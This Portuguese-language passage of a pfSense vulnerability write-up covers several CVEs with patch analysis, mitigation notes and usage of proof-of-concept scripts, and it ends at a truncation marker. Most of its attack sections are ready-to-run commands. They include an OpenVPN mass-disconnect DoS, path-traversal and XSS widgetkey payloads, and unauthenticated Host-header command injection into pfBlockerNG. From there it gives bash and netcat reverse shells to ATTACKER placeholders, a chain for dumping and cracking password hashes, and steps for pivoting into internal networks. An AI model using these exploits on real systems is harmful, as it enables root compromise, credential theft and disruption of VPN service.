| CVE-2021-27933 | CE < 2.5.1 | Command Injection | 7.5 | Diagnostic auth page; PoC criada |
| CVE-2020-11446 | CE < 2.4.5-p1 | CSRF | 8.8 | Múltiplas ações; PoC criada |
| CVE-2020-21487 | ACME pkg 0.6.3 | Stored XSS | 9.6 | RootFolder field em acme_certificates.php; PoC criada |
| CVE-2019-16701 | CE < 2.4.4-p1 | XSS | 6.1 | Reflected XSS; PoC criada |
| CVE-2018-4019 | pfSense Plus | RCE | 9.8 | Parâmetro não sanitizado; PoC criada |
| CVE-2017-1000479 | CE < 2.4.0 | CSRF → RCE | 8.8 | Sem proteção CSRF completa; PoC criada |
| CVE-2016-10709 | CE < 2.3.0 | Command Injection | 9.8 | Via diagnóstico; PoC criada |
4.2 CVE-2024-57273 — OpenVPN Kill Client sem Validação (CE < 2.8.0)
Arquivos afetados:
status_openvpn.php,openvpn.widget.php,openvpn.incCVSS v3.1: 5.3 Medium (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L) | CWE: CWE-20 Fix: commit92a55a0ad8(Dez 2024) — Issue #15856Análise do código vulnerável (pré-patch):
// status_openvpn.php:40-52 — SEM VALIDAÇÃO if ($_POST['action'] == "kill") { $port = $_POST['port']; // ← Sem validação $remipp = $_POST['remipp']; // ← Sem validação $client_id = $_POST['client_id']; if (!empty($port) and !empty($remipp)) { // ← Validação frágil $retval = openvpn_kill_client($port, $remipp, $client_id); } } // openvpn.inc:2243-2254 — Path sem basename() function openvpn_kill_client($port, $remipp, $client_id) { $tcpsrv = "unix://{$g['openvpn_base']}/{$port}/sock"; // ← Path traversal potencial $fp = @stream_socket_client($tcpsrv, $errval, $errstr, 1); // ... envia comando kill para socket }Correção (pós-patch):
// Validação adicionada: if (!is_ipaddrwithport($remipp)) { $error = true; } foreach ($servers as $server) { if ($port == $server['mgmt']) { $found_server = true; } } // E no openvpn.inc: $port = basename($port); // Previne path traversalImpacto: Qualquer usuário autenticado pode desconectar qualquer cliente OpenVPN conectado, causando DoS persistente nos túneis VPN.
# PoC disponível em: pocs/PfSense/CVE-2024-57273/poc.py
# Detectar vulnerabilidade
python3 pocs/PfSense/CVE-2024-57273/poc.py \
-t https://TARGET -u admin -p pfsense detect
# Listar servidores OpenVPN ativos
python3 pocs/PfSense/CVE-2024-57273/poc.py \
-t https://TARGET -u admin -p pfsense list-servers
# Listar clientes conectados
python3 pocs/PfSense/CVE-2024-57273/poc.py \
-t https://TARGET -u admin -p pfsense list-clients
# Desconectar cliente específico (DoS)
python3 pocs/PfSense/CVE-2024-57273/poc.py \
-t https://TARGET -u admin -p pfsense kill \
--server-port 7500 --client-ip 10.0.0.50 --client-port 12345
# DoS em massa — desconectar todos os clientes
python3 pocs/PfSense/CVE-2024-57273/poc.py \
-t https://TARGET -u admin -p pfsense kill-all
# Verificar se patch foi aplicado
python3 pocs/PfSense/CVE-2024-57273/poc.py \
-t https://TARGET -u admin -p pfsense check-patch
4.4 CVE-2024-54780 — Dashboard Widget Key Validation Bypass (CE < 2.8.0)
Arquivos afetados: 15 widgets em
widgets/widgets/*.widget.php,util.incCVSS v3.1: 4.3 Medium (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N) | CWE: CWE-20Análise do diff do patch:
- Pre-patch:
if ($_REQUEST['widgetkey']) { $widgetkey = $_REQUEST['widgetkey']; }— aceita qualquer valor- Post-patch:
if (is_valid_widgetkey($rwidgetkey, $user_settings, __FILE__))— valida contra dashboard configVulnerabilidade: Antes do fix, widgets aceitavam valores arbitrários de
widgetkeysem validação. Um atacante autenticado podia submeter widgetkeys maliciosas para:
- Acessar dados de instâncias de outros widgets
- Bypass de validação de configurações do widget
- Potencialmente explorar vulnerabilidades downstream no processamento do widget
Fix: commits
04b74da157e6b42147b1c(Dez 2024) — Issue #15844
- Adiciona função
is_valid_widgetkey()emutil.inc- Valida formato
<widget-name>-<instance-id>- Verifica se widget existe no dashboard do usuário
- Verifica se instance ID é inteiro não-negativo
# Detectar vulnerabilidade
python3 pocs/PfSense/CVE-2024-54780/poc.py \
-u https://TARGET -U admin -P password detect
# Listar widgets disponíveis
python3 pocs/PfSense/CVE-2024-54780/poc.py \
-u https://TARGET -U admin -P password list-widgets
# Testar bypass de validação com payloads
python3 pocs/PfSense/CVE-2024-54780/poc.py \
-u https://TARGET -U admin -P password test-bypass
# Testar widget específico (default: openvpn)
python3 pocs/PfSense/CVE-2024-54780/poc.py \
-u https://TARGET -U admin -P password test-bypass --widget gateways
# Verificar se patch foi aplicado
python3 pocs/PfSense/CVE-2024-54780/poc.py \
-u https://TARGET -U admin -P password check-patch
Teste Manual com curl
# Obter sessão autenticada
curl -sk -c /tmp/pf.jar -b /tmp/pf.jar \
-d "usernamefld=admin&passwordfld=password&login=Sign+In" \
https://TARGET/ -o /dev/null
# Testar com widgetkey inválido
# Vulnerável: retorna conteúdo do widget sem erro
# Patched: retorna "Invalid Widget Key"
curl -sk -b /tmp/pf.jar \
"https://TARGET/widgets/widgets/openvpn.widget.php?widgetkey=invalid-999&ajax=true"
# Testar path traversal attempt
curl -sk -b /tmp/pf.jar \
"https://TARGET/widgets/widgets/openvpn.widget.php?widgetkey=../../../etc/passwd-0&ajax=true"
# Testar XSS attempt
curl -sk -b /tmp/pf.jar \
"https://TARGET/widgets/widgets/openvpn.widget.php?widgetkey=<script>alert(1)</script>-0&ajax=true"
Impacto e Chain Attacks
# Widgetkey validation bypass sozinho: baixo impacto (C:L)
# Mas pode ser combinado com outras vulnerabilidades:
# Chain com CVE-2024-54779 (XML Injection via widgetkey):
# 1. Bypass validação com widgetkey malicioso
# 2. Injetar XML para corromper config.xml
# 3. Persistência de configuração maliciosa
# Chain com XSS em outros widgets:
# 1. Acessar widget vulnerável via bypass
# 2. Extrair dados sensíveis do widget
# 3. Usar informações para ataques adicionais
4.6 CVE-2022-40624 — pfBlockerNG Host Header RCE (pfBlockerNG <= 2.1.4_27)
Pacote afetado: pfBlockerNG through 2.1.4_27 CVSS v3.1: 9.8 Critical (
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) | CWE: CWE-77 EPSS: 84.7% (High probability of exploitation)Mecanismo da Vulnerabilidade: O pfBlockerNG usa o HTTP Host header em comandos shell sem sanitização adequada. Um atacante remoto pode injetar comandos shell via Host header, executados como root.
Diferença do CVE-2022-31814: Esta é uma vulnerabilidade diferente do CVE-2022-31814 (também RCE no pfBlockerNG), mas com o mesmo impacto crítico.
# Pré-requisito: pfBlockerNG instalado
# Verificar instalação
python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET check-package
# Detectar vulnerabilidade (time-based detection)
python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET detect
# Executar comando arbitrário (sem autenticação!)
python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET exploit --cmd "id"
# Obter informações do sistema
python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET exploit --cmd "uname -a"
# Setup reverse shell (CRITICAL - root access!)
# Listener: nc -lvnp 4444
python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET \
exploit --reverse-shell --host ATTACKER_IP --port 4444
Exploração Manual com curl
# Teste time-based (detectar sem deixar rastros)
# Vulnerável: resposta demora >5 segundos
# Patched: resposta imediata
time curl -k -s -o /dev/null \
-H "Host: 127.0.0.1; sleep 5; #" \
"https://TARGET/pfblockerng/index.php"
# Executar comando e capturar saída
curl -k -s \
-H "Host: 127.0.0.1; id; #" \
"https://TARGET/pfblockerng/index.php"
# Reverse shell bash
curl -k -s \
-H "Host: 127.0.0.1; bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'; #" \
"https://TARGET/pfblockerng/index.php"
# Reverse shell netcat
curl -k -s \
-H "Host: 127.0.0.1; nc -e /bin/sh ATTACKER 4444; #" \
"https://TARGET/pfblockerng/index.php"
Cadeia de Exploração Típica
# 1. Confirmar pfBlockerNG instalado
python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET check-package
# 2. Detectar vulnerabilidade
python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET detect
# 3. Executar comando de reconhecimento
python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET exploit --cmd "cat /etc/master.passwd"
# 4. Extrair hashes de senha
python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET exploit --cmd "cat /etc/master.passwd | grep -v '^\*' | cut -d: -f1,2"
# 5. Hashcat para quebra de senhas
hashcat -m 400 pfsense_hashes /path/to/wordlist
# 6. Setup reverse shell para acesso persistente
python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET \
exploit --reverse-shell --host ATTACKER_IP --port 4444
# 7. Com reverse shell, acessar config.xml completo
# cat /cf/conf/config.xml
# Extrair: hashes, PSKs VPN, chaves privadas, credenciais
# 8. Pivot para rede interna
# pfSense tem acesso a todas as redes conectadas
# Usar como ponto de entrada para ataques internos
Mitigação e Verificação de Patch
# Upgrade do pfBlockerNG (via GUI ou SSH)
# System > Package Manager > pfBlockerNG > Upgrade
# Verificar versão instalada
pkg info | grep -i pfblocker
# Após patch, testar novamente
python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET detect
# Deve retornar: NOT_VULNERABLE
# Teste manual pós-patch
time curl -k -s -o /dev/null \
-H "Host: 127.0.0.1; sleep 5; #" \
"https://TARGET/pfblockerng/index.php"
# Deve responder imediatament
…(truncated)